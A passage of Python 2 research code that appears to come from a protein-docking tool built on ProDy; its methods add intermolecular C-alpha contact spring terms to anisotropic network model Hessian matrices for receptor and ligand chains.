HR, referenceStructure, neighborStructure, encounter, neighborhoodFrom, equilibriumAt, workOnReceptor=True, selstr='calpha'): """ Modifies the hessian HR or HL by adding additonal terms for intramolecular contacts. Args: HR: The original HR as calculated by prody referenceStructure: structure to take calphas from, the hessian HR belongs to it or to its superset if I is a chain neighborStructure: structure to apply the neighborhood calculations on encounter: object with all encounter information neighborhoodFrom: is the neighborhood calculated from the unbound complex C_u or the bound complex C_b equilibriumAt: is the equilibrium set to r_ij or r_ij_b workonReceptor: is the Hessian and the referenceStructure receptor or ligand selstr: atomType of the course grained ANM (by default calpha) """ assert equilibriumAt == "r_ij" or equilibriumAt == "r_ij_b" assert neighborhoodFrom == "C_u" or neighborhoodFrom == "C_b" if workOnReceptor: reference = encounter.getReference() if self.bound_provided == True: refchain = encounter.getRefChain() mobile = encounter.getMobile() mobChain = encounter.getMobChain() boundCounterpart = encounter.getBoundCounterpart() boundCounterpartChain = encounter.getBoundCounterpartChain() unboundCounterpartChain = encounter.getUnboundCounterpartChain() else: reference = encounter.getUnboundCounterpart() if self.bound_provided == True: refchain = encounter.getUnboundCounterpartChain() mobile = encounter.getBoundCounterpart() mobChain = encounter.getBoundCounterpartChain() boundCounterpart = encounter.getMobile() boundCounterpartChain = encounter.getMobChain() unboundCounterpartChain = encounter.getRefChain() neighborStructureCalpha = neighborStructure.select('calpha') contactsCounter = 0 interCalphaIndices = [] for idx, element in enumerate(referenceStructure.select('calpha')): contactsOfI = encounter.getIntermolecularNeighborsOfAtom(element, neighborStructure, selstr, str(self.utils.config.customHRdistance)) # if element has contacts in the neighborStructure, the hessian needs an update in the 3*3 matrix on the diagonal of this element atom if contactsOfI: contactsCounter += contactsOfI.numAtoms() interCalphaIndices.append(idx) print "intermolecular contacts: ", contactsOfI.numAtoms() contacts_counterpartChainIndices = self.utils.getMatchingStructureSelections(neighborStructureCalpha, contactsOfI, neighborStructureCalpha) assert len(contactsOfI) == len(contacts_counterpartChainIndices) # access each element contact to create the deltaTerm overallTerm = np.zeros((3,3)) for elementcontact, contacts_counterpartChainIndex in zip(contactsOfI, contacts_counterpartChainIndices): if neighborhoodFrom == "C_u": r_ij = calcDistance(element, elementcontact) if equilibriumAt == "r_ij": r_ij_b = r_ij #if element is not in matched reference or contact is not in matched counterpart: r_ij_b = r_ij elif not(element in refchain.select('calpha')) or not(elementcontact in unboundCounterpartChain.select('calpha')): r_ij_b = r_ij else: elementPositionInChain = encounter.accessANMs().getCalphaPosition(element, refchain.select('calpha')) contactPositionInChain = encounter.accessANMs().getCalphaPosition(elementcontact, unboundCounterpartChain.select('calpha')) r_ij_b = calcDistance(mobChain.select('calpha')[elementPositionInChain], boundCounterpartChain.select('calpha')[contactPositionInChain]) self.utils.assertTwoAtomsAreEqual(mobChain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(refchain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(boundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(unboundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) # make the 3*3 hessian term for this contact (excluding gamma, gamma is multiplied at the end to the sum) deltaTerm = self.make3By3HessianTerm(element, elementcontact, r_ij, r_ij_b) #print element, elementcontact, " r_ij, rij_b: ", r_ij, r_ij_b overallTerm += deltaTerm else: if equilibriumAt == "r_ij_b": r_ij_b = calcDistance(element, elementcontact) elementPositionInChain = encounter.accessANMs().getCalphaPosition(element, mobChain.select('calpha')) contactPositionInChain = encounter.accessANMs().getCalphaPosition(elementcontact, boundCounterpartChain.select('calpha')) r_ij = calcDistance(refchain.select('calpha')[elementPositionInChain], unboundCounterpartChain.select('calpha')[contactPositionInChain]) self.utils.assertTwoAtomsAreEqual(mobChain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(refchain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(boundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(unboundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) else: elementPositionInChain = encounter.accessANMs().getCalphaPosition(element, mobChain.select('calpha')) contactPositionInChain = encounter.accessANMs().getCalphaPosition(elementcontact, boundCounterpartChain.select('calpha')) r_ij = calcDistance(refchain.select('calpha')[elementPositionInChain], unboundCounterpartChain.select('calpha')[contactPositionInChain]) r_ij_b = r_ij self.utils.assertTwoAtomsAreEqual(mobChain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(refchain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(boundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(unboundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) # make the 3*3 hessian term for this contact (excluding gamma, gamma is multiplied at the end to the sum) deltaTerm = self.make3By3HessianTerm(refchain.select('calpha')[elementPositionInChain], unboundCounterpartChain.select('calpha')[contactPositionInChain], r_ij, r_ij_b) #print refchain.select('calpha')[elementPositionInChain], unboundCounterpartChain.select('calpha')[contactPositionInChain], " r_ij, rij_b: ", r_ij, r_ij_b overallTerm += deltaTerm # multiply the overallTerm with the spring constant gamma overallTerm = overallTerm * self.utils.config.customForceConstant # add the overallterm to the hessian matrix if neighborhoodFrom == "C_b": elementPosition = encounter.accessANMs().getCalphaPosition(refchain.select('calpha')[elementPositionInChain], reference.select('calpha')) else: elementPosition = encounter.accessANMs().getCalphaPosition(element, reference.select('calpha')) HR = self.add3By3MatrixtoHessian(overallTerm, HR, elementPosition*3) print "added custom terms to hessian" print "total intermolecular contacts: ", contactsCounter return HR, interCalphaIndices def calcCustomH_ANew_IJ(self, referenceStructure, neighborStructure, encounter, areStructuresChains, equilibriumAt, workOnReceptor=True, selstr='calpha'): """ Creates the HRL matrix made through intramolecular contacts. Args: referenceStructure: structure to take calphas from, the hessian HR belongs to it or to its superset if I is a chain neighborStructure: structure to apply the neighborhood calculations on encounter: object with all encounter information areStructuresChains: boolean to describe if the structures are chains (subsets) equilibriumAt: is the equilibrium set to r_ij or r_ij_b workonReceptor: is the Hessian and the referenceStructure receptor or ligand selstr: atomType of the course grained ANM (by default calpha) """ assert equilibriumAt == "r_ij" or equilibriumAt == "r_ij_b" if workOnReceptor: if areStructuresChains: if self.bound_provided == True: mobile = encounter.getMobChain() boundCounterpart = encounter.getBoundCounterpartChain() else: pass else: reference = encounter.getReference() unboundCounterpart = encounter.getUnboundCounterpart() if self.bound_provided == True: refchain = encounter.getRefChain() mobile = encounter.getMobile() mobChain = encounter.getMobChain() boundCounterpart = encounter.getBoundCounterpart() boundCounterpartChain = encounter.getBoundCounterpartChain() unboundCounterpartChain = encounter.getUnboundCounterpartChain() else: if areStructuresChains: if self.bound_provided == True: mobile = encounter.getBoundCounterpartChain() boundCounterpart = encounter.getMobChain() else: pass else: reference = encounter.getUnboundCounterpart() unboundCounterpart = encounter.getReference() if self.bound_provided == True: refchain = encounter.getUnboundCounterpartChain() mobile = encounter.getBoundCounterpart() mobChain = encounter.getBoundCounterpartChain() boundCounterpart = encounter.getMobile() boundCounterpartChain = encounter.getMobChain() unboundCounterpartChain = encounter.getRefChain() neighborStructureCalpha = neighborStructure.select('calpha') offDiagonalHessianMatrix = np.zeros(((reference.select('calpha').numAtoms()*3), (unboundCounterpart.select('calpha').numAtoms()*3) )) contactsCounter = 0 for idx, element in enumerate(referenceStructure.select('calpha')): contactsOfI = encounter.getIntermolecularNeighborsOfAtom(element, neighborStructure, selstr, str(self.utils.config.customHRdistance)) # if element has contacts in the neighborStructure, the hessian needs an update in the 3*3 matrix on the diagonal of this element atom if contactsOfI: print "intermolecular contacts: ", contactsOfI.numAtoms() contactsCounter += contactsOfI.numAtoms() # print "contact at i, refChainCalphas[i]: ", i, refChainCalphas[i] contacts_counterpartChainIndices = self.utils.getMatchingStructureSelections(neighborStructureCalpha, contactsOfI, neighborStructureCalpha) assert len(contactsOfI) == len(contacts_counterpartChainIndices) # access each element contact to create the deltaTerm for elementcontact, contacts_counterpartChainIndex in zip(contactsOfI, contacts_counterpartChainIndices): overallTerm = np.zeros((3,3)) #self.utils.assertTwoAtomsAreEqual(refChainCalphas[i], mobChainCalphas[i], useCoords=False, useResname=True) #self.utils.assertTwoAtomsAreEqual(elementcontact, boundCounterpartChainCalphas[contacts_counterpartChainIndex], useCoords=False, useResname=True) r_ij = calcDistance(element, elementcontact) if equilibriumAt == "r_ij": r_ij_b = r_ij #if element is not in matched reference or contact is not in matched counterpart: r_ij_b = r_ij elif not(element in refchain.select('calpha')) or not(elementcontact in unboundCounterpartChain.select('calpha')): r_ij_b = r_ij else: elementPositionInChain = encounter.accessANMs().getCalphaPosition(element, refchain.select('calpha')) contactPositionInChain = encounter.accessANMs().getCalphaPosition(elementcontact, unboundCounterpartChain.select('calpha')) r_ij_b = calcDistance(mobChain.select('calpha')[elementPositionInChain], boundCounterpartChain.select('calpha')[contactPositionInChain]) self.utils.assertTwoAtomsAreEqual(mobChain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(refchain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(boundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(unboundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) # # make the 3*3 hessian term for this contact (excluding gamma, gamma is multiplied at the end to the sum) deltaTerm = self.make3By3OffDiagonalHessianTermIJ(element, elementcontact, r_ij, r_ij_b) overallTerm += deltaTerm #print "r_ij, r_ij_b: ", r_ij, r_ij_b # multiply the overallTerm with the spring constant gamma overallTerm = overallTerm * self.utils.config.customForceConstant # print overallTerm offDiagonalHessianMatrix = self.add3By3MatrixtoOffDiagonalHessianMatrixIJ(overallTerm, offDiagonalHessianMatrix, idx*3, contacts_counterpartChainIndex*3) #print contactsOfI.numAtoms(), "neighbors, modifying at hessian (loopcounter*3)+1: ", str((loopCounter*3)+1) #print str(i)+"'th refchain calpha, hessian line number ", (loopCounter*3)+1, "contacts with ", unboundCounterpartChainCalphas[contacts_counterpartChainIndex], " unboundcounterpartchainindex: ", contacts_counterpartChainIndices #print "" # add the overallterm to the hessian matrix ###elementPosition = encounter.accessANMs().getCalphaPosition(element, encounter.getReference().select('calpha')) print "added custom terms to offDiagonalHessianMatrix" print "total intermolecular contacts: ", contactsCounter return offDiagonalHessianMatrix def calcCustomH_ANew_U1(self, HR, referenceStructure, neighborStructure, encounter, areStructuresChains, equilibriumAt, workOnReceptor=True, selstr='calpha'): """ Modifies the hessian HR or HL by adding additonal terms for intramolecular contacts. Args: HR: The original HR as calculated by prody referenceStructure: structure to take calphas from, the hessian HR belongs to it or to its superset if I is a chain neighborStructure: structure to apply the neighborhood calculations on encounter: object with all encounter information areStructuresChains: boolean to describe if the structures are chains (subsets) equilibriumAt: is the equilibrium set to r_ij or r_ij_b workonReceptor: is the Hessian and the referenceStructure receptor or ligand selstr: atomType of the course grained ANM (by default calpha) """ assert equilibriumAt == "r_ij" or equilibriumAt == "r_ij_b" if workOnReceptor: refchain = encounter.getRefChain() mobile = encounter.getMobile() mobChain = encounter.getMobChain() boundCounterpart = encounter.getBoundCounterpart() boundCounterpartChain = encounter.getBoundCounterpartChain() unboundCounterpartChain = encounter.getUnboundCounterpartChain() else: refchain = encounter.getUnboundCounterpartChain() mobile = encounter.getBoundCounterpart() mobChain = encounter.getBoundCounterpartChain() boundCounterpart = encounter.getMobile() boundCounterpartChain = encounter.getMobChain() unboundCounterpartChain = encounter.getRefChain() neighborStructureCalpha = neighborStructure.select('calpha') for idx, element in enumerate(referenceStructure.select('calpha')): contactsOfI = encounter.getIntermolecularNeighborsOfAtom(element, neighborStructure, selstr, str(self.utils.config.customHRdistance)) # if element has contacts in the neighborStructure, the hessian needs an update in the 3*3 matrix on the diagonal of this element atom if contactsOfI: # print "contact at i, refChainCalphas[i]: ", i, refChainCalphas[i] contacts_counterpartChainIndices = self.utils.getMatchingStructureSelections(neighborStructureCalpha, contactsOfI, neighborStructureCalpha) assert len(contactsOfI) == len(contacts_counterpartChainIndices) # access each element contact to create the deltaTerm overallTerm = np.zeros((3,3)) for elementcontact, contacts_counterpartChainIndex in zip(contactsOfI, contacts_counterpartChainIndices): #self.utils.assertTwoAtomsAreEqual(refChainCalphas[i], mobChainCalphas[i], useCoords=False, useResname=True) #self.utils.assertTwoAtomsAreEqual(elementcontact, boundCounterpartChainCalphas[contacts_counterpartChainIndex], useCoords=False, useResname=True) if equilibriumAt == "r_ij_b": r_ij_b = calcDistance(element, elementcontact) elementPositionInChain = encounter.accessANMs().getCalphaPosition(element, mobChain.select('calpha')) contactPositionInChain = encounter.accessANMs().getCalphaPosition(elementcontact, boundCounterpartChain.select('calpha')) r_ij = calcDistance(refchain.select('calpha')[elementPositionInChain], unboundCounterpartChain.select('calpha')[contactPositionInChain]) self.utils.assertTwoAtomsAreEqual(mobChain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(refchain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(boundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(unboundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) else: elementPositionInChain = encounter.accessANMs().getCalphaPosition(element, mobChain.select('calpha')) contactPositionInChain = encounter.accessANMs().getCalphaPosition(elementcontact, boundCounterpartChain.select('calpha')) r_ij = calcDistance(refchain.select('calpha')[elementPositionInChain], unboundCounterpartChain.select('calpha')[contactPositionInChain]) r_ij_b = r_ij self.utils.assertTwoAtomsAreEqual(mobChain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(refchain.select('calpha')[elementPositionInChain], element, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(boundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(unboundCounterpartChain.select('calpha')[contactPositionInChain], elementcontact, useCoords=False, useResname=True) #r_ij_b = calcDistance(zip(mobile.select('calpha'))[idx][0], zip(boundCounterpart.select('calpha'))[contacts_counterpartChainIndex][0]) # make the 3*3 hessian term for this contact (excluding gamma, gamma is multiplied at the end to the sum) deltaTerm = self.make3By3HessianTerm(refchain.select('calpha')[elementPositionInChain], unboundCounterpartChain.select('calpha')[contactPositionInChain], r_ij, r_ij_b) print refchain.select('calpha')[elementPositionInChain], unboundCounterpartChain.select('calpha')[contactPositionInChain], " r_ij, rij_b: ", r_ij, r_ij_b overallTerm += deltaTerm #print "r_ij, r_ij_b: ", r_ij, r_ij_b # multiply the overallTerm with the spring constant gamma overallTerm = overallTerm * self.utils.config.customForceConstant # print overallTerm #print contactsOfI.numAtoms(), "neighbors, modifying at hessian (loopcounter*3)+1: ", str((loopCounter*3)+1) #print str(i)+"'th refchain calpha, hessian line number ", (loopCounter*3)+1, "contacts with ", unboundCounterpartChainCalphas[contacts_counterpartChainIndex], " unboundcounterpartchainindex: ", contacts_counterpartChainIndices #print "" # add the overallterm to the hessian matrix elementPosition = encounter.accessANMs().getCalphaPosition(refchain.select('calpha')[elementPositionInChain], encounter.getReference().select('calpha')) HR = self.add3By3MatrixtoHessian(overallTerm, HR, elementPosition*3) print "adding to hessian at: ", (elementPosition*3+1) print "added custom terms to hessian" return HR def calcCustomH_A(self, HR, encounter, workOnReceptor=True, selstr='calpha'): """ Modifies the hessian of anm_reference according to calcCustomH_A and returns it. """ if workOnReceptor: refChainCalphas = encounter.getRefChain().select('calpha') mobChainCalphas = encounter.getMobChain().select('calpha') mobChain = encounter.getMobChain() refChain = encounter.getRefChain() boundCounterpartChainCalphas = encounter.getBoundCounterpartChain().select('calpha') boundCounterpartChain = encounter.getBoundCounterpartChain() unboundCounterpartChain = encounter.getUnboundCounterpartChain() unboundCounterpartChainCalphas = encounter.getUnboundCounterpartChain().select('calpha') referenceCalphas = encounter.getReference().select('calpha') else: refChainCalphas = encounter.getUnboundCounterpartChain().select('calpha') mobChainCalphas = encounter.getBoundCounterpartChain().select('calpha') mobChain = encounter.getBoundCounterpartChain() refChain = encounter.getUnboundCounterpartChain() boundCounterpartChainCalphas = encounter.getMobChain().select('calpha') boundCounterpartChain = encounter.getMobChain() unboundCounterpartChain = encounter.getRefChain() unboundCounterpartChainCalphas = encounter.getRefChain().select('calpha') referenceCalphas = encounter.getUnboundCounterpart().select('calpha') #encounter.printIntermolecularNeighbors(encounter.getReference(), encounter.getUnboundCounterpart(), selstr, str(self.utils.config.customHRdistance)) # Loop over all calphas in the reference structure (using matched chains) counterUnmatchedCalphas = 0 loopCounter = 0 for element in referenceCalphas: i = loopCounter - counterUnmatchedCalphas if self.utils.doesAtomExistInY(element, refChainCalphas) is None: counterUnmatchedCalphas += 1 loopCounter += 1 continue else: contactsOfI = encounter.getIntermolecularNeighbors(refChain, unboundCounterpartChain, i, selstr, str(self.utils.config.customHRdistance)) # if there are contacts in the unbound counterpart, the hessian needs an update in the 3*3 matrix of the diagonal of this atom if contactsOfI: # print "contact at i, refChainCalphas[i]: ", i, refChainCalphas[i] contacts_counterpartChainIndices = self.utils.getMatchingStructure(unboundCounterpartChainCalphas, contactsOfI, boundCounterpartChainCalphas) assert len(contactsOfI) == len(contacts_counterpartChainIndices) # access each element contact to create the deltaTerm overallTerm = np.zeros((3,3)) for elementcontact, contacts_counterpartChainIndex in zip(contactsOfI, contacts_counterpartChainIndices): self.utils.assertTwoAtomsAreEqual(refChainCalphas[i], mobChainCalphas[i], useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(elementcontact, boundCounterpartChainCalphas[contacts_counterpartChainIndex], useCoords=False, useResname=True) r_ij = calcDistance(refChainCalphas[i], elementcontact) r_ij_b = calcDistance(mobChainCalphas[i], boundCounterpartChainCalphas[contacts_counterpartChainIndex]) # make the 3*3 hessian term for this contact (excluding gamma, gamma is multiplied at the end to the sum) deltaTerm = self.make3By3HessianTerm(refChainCalphas[i], elementcontact, r_ij, r_ij_b) overallTerm += deltaTerm #print "r_ij, r_ij_b: ", r_ij, r_ij_b # multiply the overallTerm with the spring constant gamma overallTerm = overallTerm * self.utils.config.customForceConstant # print overallTerm #print contactsOfI.numAtoms(), "neighbors, modifying at hessian (loopcounter*3)+1: ", str((loopCounter*3)+1) print str(i)+"'th refchain calpha, hessian line number ", (loopCounter*3)+1, "contacts with ", unboundCounterpartChainCalphas[contacts_counterpartChainIndex], " unboundcounterpartchainindex: ", contacts_counterpartChainIndices print "" # add the overallterm to the hessian matrix HR = self.add3By3MatrixtoHessian(overallTerm, HR, loopCounter*3) loopCounter += 1 assert(loopCounter-counterUnmatchedCalphas) == refChainCalphas.numAtoms() print "added custom terms to hessian" return HR def calcCustomH_A_IJ(self, encounter, workOnReceptor=True, selstr='calpha'): """ Modifies the hessian of anm_reference according to calcCustomH_A and returns it. """ if workOnReceptor: refChainCalphas = encounter.getRefChain().select('calpha') mobChainCalphas = encounter.getMobChain().select('calpha') mobChain = encounter.getMobChain() refChain = encounter.getRefChain() boundCounterpartChainCalphas = encounter.getBoundCounterpartChain().select('calpha') boundCounterpartChain = encounter.getBoundCounterpartChain() unboundCounterpartChain = encounter.getUnboundCounterpartChain() unboundCounterpartChainCalphas = encounter.getUnboundCounterpartChain().select('calpha') referenceCalphas = encounter.getReference().select('calpha') mobileCalphas = encounter.getMobile().select('calpha') unboundCounterpart = encounter.getUnboundCounterpart() unboundCounterpartCalphas = encounter.getUnboundCounterpart().select('calpha') else: refChainCalphas = encounter.getUnboundCounterpartChain().select('calpha') mobChainCalphas = encounter.getBoundCounterpartChain().select('calpha') mobChain = encounter.getBoundCounterpartChain() refChain = encounter.getUnboundCounterpartChain() boundCounterpartChainCalphas = encounter.getMobChain().select('calpha') boundCounterpartChain = encounter.getMobChain() unboundCounterpartChain = encounter.getRefChain() unboundCounterpartChainCalphas = encounter.getRefChain().select('calpha') referenceCalphas = encounter.getUnboundCounterpart().select('calpha') mobileCalphas = encounter.getBoundCounterpart().select('calpha') unboundCounterpart = encounter.getReference() unboundCounterpartCalphas = encounter.getReference().select('calpha') offDiagonalHessianMatrix = np.zeros(((referenceCalphas.numAtoms()*3), (unboundCounterpartCalphas.numAtoms()*3) )) #encounter.printIntermolecularNeighbors(encounter.getReference(), encounter.getUnboundCounterpart(), selstr, str(self.utils.config.customHRdistance)) # Loop over all calphas in the reference structure (using matched chains) counterUnmatchedCalphas = 0 loopCounter = 0 for element in referenceCalphas: i = loopCounter - counterUnmatchedCalphas if self.utils.doesAtomExistInY(element, refChainCalphas) is None: counterUnmatchedCalphas += 1 loopCounter += 1 continue else: contactsOfI = encounter.getIntermolecularNeighbors(refChain, unboundCounterpartChain, i, selstr, str(self.utils.config.customHRdistance)) # if there are contacts in the unbound counterpart, the hessian needs an update in the 3*3 matrix of the diagonal of this atom if contactsOfI: # print "contact at i, refChainCalphas[i]: ", i, refChainCalphas[i] contacts_counterpartChainIndices = self.utils.getMatchingStructure(unboundCounterpartChainCalphas, contactsOfI, boundCounterpartChainCalphas) assert len(contactsOfI) == len(contacts_counterpartChainIndices) # access each element contact to create the deltaTerm for elementcontact, contacts_counterpartChainIndex in zip(contactsOfI, contacts_counterpartChainIndices): overallTerm = np.zeros((3,3)) self.utils.assertTwoAtomsAreEqual(refChainCalphas[i], mobChainCalphas[i], useCoords=False, useResname=True) self.utils.assertTwoAtomsAreEqual(elementcontact, boundCounterpartChainCalphas[contacts_counterpartChainIndex], useCoords=False, useResname=True) r_ij = calcDistance(refChainCalphas[i], elementcontact) r_ij_b = calcDistance(mobChainCalphas[i], boundCounterpartChainCalphas[contacts_counterpartChainIndex]) # make the 3*3 hessian term for this contact (excluding gamma, gamma is multiplied at the end to the sum) deltaTerm = self.make3By3OffDiagonalHessianTermIJ(refChainCalphas[i], unboundCounterpartChainCalphas[contacts_counterpartChainIndex], r_ij, r_ij) overallTerm += deltaTerm #print "r_ij, r_ij_b: ", r_ij, r_ij_b # multiply the overallTerm with the spring constant gamma overallTerm = overallTerm * self.utils.config.customForceConstant counterPartCalphaPosition = encounter.accessANMs().getCalphaPosition(unboundCounterpartChainCalphas[contacts_counterpartChainIndex], unboundCounterpart) print "off diagonal i,j "+str(loopCounter*3)+" "+str(counterPartCalphaPosition*3)+ " term: ", overallTerm offDiagonalHessianMatrix = self.add3By3MatrixtoOffDiagonalHessianMatrixIJ(overallTerm, offDiagonalHessianMatrix, loopCounter*3, counterPartCalphaPosition*3) #print contactsOfI.numAtoms(), "neighbors, modifying at hessian (loopcounter*3)+1: ", str((loopCounter*3)+1) print str(i)+"'th refchain calpha, hessian line number ", (loopCounter*3)+1, "contacts with ", unboundCounterpartChainCalphas[contacts_counterpartChainIndex], " unboundcounterpartchainindex: ", contacts_counterpartChainIndices print "" loopCounter += 1 assert(loopCounter-counterUnmatchedCalphas) == refChainCalphas.numAtoms() print "added custom terms to hessian" return offDiagonalHessianMatrix def calcCustomH_A_NeighborsBound(self, HR, encounter, selstr='calpha'): """ Modifies the hessian of anm_reference according to calcCustomH_A and returns it. """ refChainCalphas = encounter.getRefChain().select('calpha') mobChainCalphas = encounter.getMobChain().select('calpha') boundCounterpartChainCalphas = encounter.getBoundCounterpartChain().select('calpha') unboundCounterpartChainCalphas = encounter.getUnboundCounterpartChain().select('calpha') referenceCalphas = encounter.getReference().select('calpha') mobileCalphas = encounter.getMobile().select('calpha') #encounter.printIntermolecularNeighbors(encounter.getMobile(), encounter.getBoundCounterpart(), selstr, str(self.utils.config.customHRdistance)) # Loop over all calphas in the reference structure (using matched chains) counterUnmatchedCalphas = 0 loopCounter = 0 for element in referenceCalphas: i = loopCounter - counterUnmatchedCalphas if self.utils.doesAtomExistInY(element, refChainCalphas) is None: counterUnmatchedCalphas += 1 loopCounter += 1 continue else: contactsOfI = encounter.getIntermolecularNeighbors(encounter.getMobChain(), encounter.getBoundCounterpartChain(), i, selstr, str(self.utils.config.customHRdistance)) # if there are contacts in the unbound counterpart, the hessian needs an update in the 3*3 matrix of the diagonal of this atom if contactsOfI: # print "contact at i, refChainCalphas[i]: ", i, refChainCalphas[i] contacts_counterpartChainIndices = self.utils.getMatchingStructure(boundCounterpartChainCalphas, contactsOfI, unboundCounterpartChainCalphas) assert len(contactsOfI) == len(contacts_counterpartChainIndices) # access each element contact to create the deltaTerm overallTerm = np.zeros((3,3)) for elementcontact, contacts_counterpartChainIndex in zip(contactsOfI, contacts_counterpartChainIndices): self.utils.assertTwoAtomsAreEqual(refChainCalphas[i], mobChainCalphas[i], useCoords=False, useResname=False) self.utils.assertTwoAtomsAreEqual(elementcontact, unboundCounterpartChainCalphas[contacts_counterpartChainIndex], useCoords=False, useResname=False) self.utils.assertTwoAtomsAreEqual(boundCounterpartChainCalphas[contacts_counterpartChainIndex], elementcontact, useCoords=False, useResname=False) self.utils.assertTwoAtomsAreEqual(boundCounterpartChainCalphas[contacts_counterpartChainIndex], unboundCounterpartChainCalphas[contacts_counterpartChainIndex], useCoords=False, useResname=False) r_ij = calcDistance(refChainCalphas[i], unboundCounterpartChainCalphas[contacts_counterpartChainIndex]) r_ij_b = calcDistance(mobChainCalphas[i], elementcontact) # make the 3*3 hessian term for this contact (excluding gamma, gamma is multiplied at the end to the sum) # if customHR_B, just use the distance d_0, else use the true distance in the bound pairs for the second derivatives if self.utils.config.customHR_B: if r_ij >= self.utils.config.customHRdistance: deltaTerm = self.make3By3HessianTerm(refChainCalphas[i], unboundCounterpartChainCalphas[contacts_counterpartChainIndex], r_ij, self.utils.config.customHRdistance) overallTerm += deltaTerm else: deltaTerm = self.make3By3HessianTerm(refChainCalphas[i], unboundCounterpartChainCalphas[contacts_counterpartChainIndex], r_ij, r_ij_b) overallTerm += deltaTerm #print "r_ij, r_ij_b: ", r_ij, r_ij_b # multiply the overallTerm with the spring constant gamma overallTerm = overallTerm * self.utils.config.customForceConstant #print overallTerm print contactsOfI.numAtoms(), "neighbors, modifying at hessian (loopcounter*3)+1: ", str((loopCounter*3)+1) #print contactsOfI.getSelstr() print str(i)+"'th refchain calpha, hessian line number ", (loopCounter*3)+1, "contacts with ", unboundCounterpartChainCalphas[contacts_counterpartChainIndex], " unboundcounterpartchainindex: ", contacts_counterpartChainIndices print "" # add the overallterm to the hessian matrix HR = self.add3By3MatrixtoHessian(overallTerm, HR, loopCounter*3) loopCounter += 1 assert(loopCounter-counterUnmatchedCalphas) == refChainCalphas.numAtoms() print "added custom terms to hessian" return HR def calcCustomH_A_NeighborsBoundGeneral(self, HR, encounter, workOnReceptor=True, selstr='calpha'): """ Modifies the hessian of anm_reference according to calcCustomH_A and returns it. """ if workOnReceptor: refChainCalphas = encounter.getRefChain().select('calpha') mobChainCalphas = encounter.getMobChain().select('calpha') mobChain = encounter.getMobChain() boundCounterpartChainCalphas = encounter.getBoundCounterpartChain().select('calpha') boundCounterpartChain = encounter.getBoundCounterpartChain() unboundCounterpartChainCalphas = encounter.getUnboundCounterpartChain().select('calpha') referenceCalphas = encounter.getReference().select('calpha') else: refChainCalphas = encounter.getUnboundCounterpartChain().select('calpha') mobChainCalphas = encounter.getBoundCounterpartChain().select('calpha') mobChain = encounter.getBoundCounterpartChain() boundCounterpartChainCalphas = encounter.getMobChain().select('calpha') boundCounterpartChain = encounter.getMobChain() unboundCounterpartChainCalphas = encounter.getRefChain().select('calpha') referenceCalphas = encounter.getUnboundCounterpart().select('calpha') #encounter.printIntermolecularNeighbors(encounter.getMobile(), encounter.getBoundCounterpart(), selstr, str(self.utils.config.customHRdistance)) # Loop over all calphas in the reference structure (using matched chains) counterUnmatchedCalphas = 0 loopCounter = 0 for element in referenceCalphas: i = loopCounter - counterUnmatchedCalphas if self.utils.doesAtomExistInY(element, refChainCalphas) is None: counterUnmatchedCalphas += 1 loopCounter += 1 continue else: contactsOfI = encounter.getIntermolecularNeighbors(mobChain, boundCounterpartChain, i, selstr, str(self.utils.config.customHRdistance)) # if there are contacts in the unbound counterpart, the hessian needs an update in the 3*3 matrix of the diagonal of this atom if contactsOfI: # print "contact at i, refChainCalphas[i]: ", i, refChainCalphas[i] contacts_counterpartChainIndices = self.utils.getMatchingStructure(boundCounterpartChainCalphas, contactsOfI, unboundCounterpartChainCalphas) assert len(contactsOfI) == len(contacts_counterpartChainIndices) # access each element contact to create the deltaTerm overallTerm = np.zeros((3,3)) for elementcontact, contacts_counterpartChainIndex in zip(contactsOfI, contacts_counterpartChainIndices): self.utils.assertTwoAtomsAreEqual(refChainCalphas[i], mobChainCalphas[i], useCoords=False, useResname=False) self.utils.assertTwoAtomsAreEqual(elementcontact, unboundCounterpartChainCalphas[contacts_counterpartChainIndex], useCoords=False, useResname=False) self.utils.assertTwoAtomsAreEqual(boundCounterpartChainCalphas[contacts_counterpartChainIndex], elementcontact, useCoords=False, useResname=False) self.utils.assertTwoAtomsAreEqual(boundCounterpartChainCalphas[contacts_counterpartChainIndex], unboundCounterpartChainCalphas[contacts_counterpartChainIndex], useCoords=False, useResname=False) r_ij = calcDistance(refChainCalphas[i], unboundCounterpartChainCalphas[contacts_counterpartChainIndex]) r_ij_b = 